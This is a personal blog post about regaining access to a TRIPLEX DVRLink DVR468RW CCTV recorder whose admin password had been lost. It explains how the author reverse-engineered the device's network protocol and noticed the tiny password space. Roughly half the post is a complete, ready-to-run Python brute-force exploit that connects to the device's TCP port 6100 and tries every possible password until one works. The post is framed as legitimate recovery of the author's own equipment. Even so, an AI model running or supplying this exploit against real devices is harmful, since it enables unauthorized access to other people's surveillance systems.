Brute Force Access
by lanrat
At an internship I had a while ago, one project assigned to me was to regain access to a CCTV security system which we had been locked out of for some years. (The previous manager left without leaving the password.)
The DVR system was a TRIPLEX DVRLink DVR468RW, whatever that is. It seemed cheap; a small embedded computer with video in/out, a hard-drive and CD-RW drive for recording storage. The administration interface was accessed either by a web server running on the device or a desktop client you installed on your computer.
My initial thought was to remove the device's internal clock battery to reset the password back to the default of "1234." No dice. Next on the list of things to try was examining the hard-drive in a desktop computer to see if the password could be viewed or reset. The hard drive had a single partition with some old surveillance video footage; nothing to do with settings or authentication. Further examination of the main board revealed a flash memory chip which I assumed stored the device's configuration, including the administration password.
Let me step back here. The administration password could be entered either over one of the remote managemen interfaces (the desktop client or webserver) or physically on the devices keypad. The keypad had the buttons: 1, 2, 3, 4, and ENTER. Well, isn't that interesting; it looks as if the password can only me made up of at most 4 characters. And the desktop client nicely informs me that when entering a password it must be between 4 and 8 characters long, that leaves only 87,296 possibilities.
So, onto the next attack! Knowing that this device had such a limited amount of possible options for the password a brute force attack wouldn't be bad at all. After spending a lot of time examining unsuccessful login attempts from the desktop client in Wireshark and understanding their proprietary protocol, I wrote my first useful python script to automate the process. After a few false positives and tweaks, I was able to get the program to generate a list of every possible password combination for the device and try them out. Within a minute of running I had the device's long lost administration password of 1324 (It has since been changed).
After logging in as the Administrator I was able to see that there were other accounts on the system as well. And my program worked equally well for all of them. However, it is currently hard-coded to use the 'Administrator' username. You may change it if you wish, but why bother?
Below is the exploit for the TRIPLEX DVRLink DVR468RW. I hope that it may be useful to someone (in a law abiding way).
The exploit was tested on a Windows XP machine with Python 3.
#!/usr/bin/env python import socket import binascii import sys import time def passList(): n = 1 li = [1] while (int(li[-1]) <= 44444444): k = str_base(int(n)) if (k != 0): li.append(k) n = n + 1 return li def asctohex(string_in): a="" for x in string_in: a = a + ("0"+((hex(ord(x)))[2:]))[-2:] return(a) def getIP(): #Ask for IP while True: TCP_IP = input("Enter IP: ") try: socket.inet_aton(TCP_IP) break except socket.error: print("Error, Try Again") return TCP_IP def connect(to, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((to, port)) return s def makePassPacket(password): packet = '41444d494e4953545241544f5200' #14 bytes, username: Admininstrator packet += '0000eb030000920303000000000058d86701' #18 bytes of something... packet += asctohex(password) #4 password packet += '00' size = len(packet) need = 128-size #64 bits in hex junk = '010000eb03000092030300000000003c21f6064c9c6a0700000000000000000000'#bytes of something else packet += junk[0:need] return packet def str_base(num, base=5, numerals = '01234'): if base < 2 or base > len(numerals): raise ValueError("str_base: base must be between 2 and %i" % len(numerals)) result = '' while num: result = numerals[num % (base)] + result num //= base if result.count('0') > 0: return 0 return result TCP_IP = getIP() TCP_PORT = 6100 print('Generating password list..') passwords = passList() print('Running...') msg1=binascii.unhexlify('01010000') msg2=binascii.unhexlify('01010004') msg4=binascii.unhexlify('01200040') for password in passwords: s1 = connect(TCP_IP,TCP_PORT) #socket 1 data 1 s1.send(msg1) s1.settimeout(5) data1 = s1.recv(4) data2 = s1.recv(4) if (binascii.b2a_hex(data1) != b'02000008'): sys.exit("First packet incorect") s2 = connect(TCP_IP,TCP_PORT) #socket 2 data 1 s2.send(msg2) msg3=binascii.unhexlify(binascii.b2a_hex(data2)[0:8]) s2.send(msg3) s2.settimeout(5) data3 = s2.recv(4) data4 = s2.recv(8) if (binascii.b2a_hex(data3) != b'02000004'): sys.exit("Second packet incorect") #socket 1 data 2 passPacket = makePassPacket(str(password)) s1.send(msg4) s1.send(binascii.unhexlify(passPacket)) data5 = s1.recv(8) data6 = s1.recv(8) if (binascii.b2a_hex(data6) != b'02160000' ): print('Password:',password) sys.exit() time.sleep(0.1)Code: DVR_exploit.py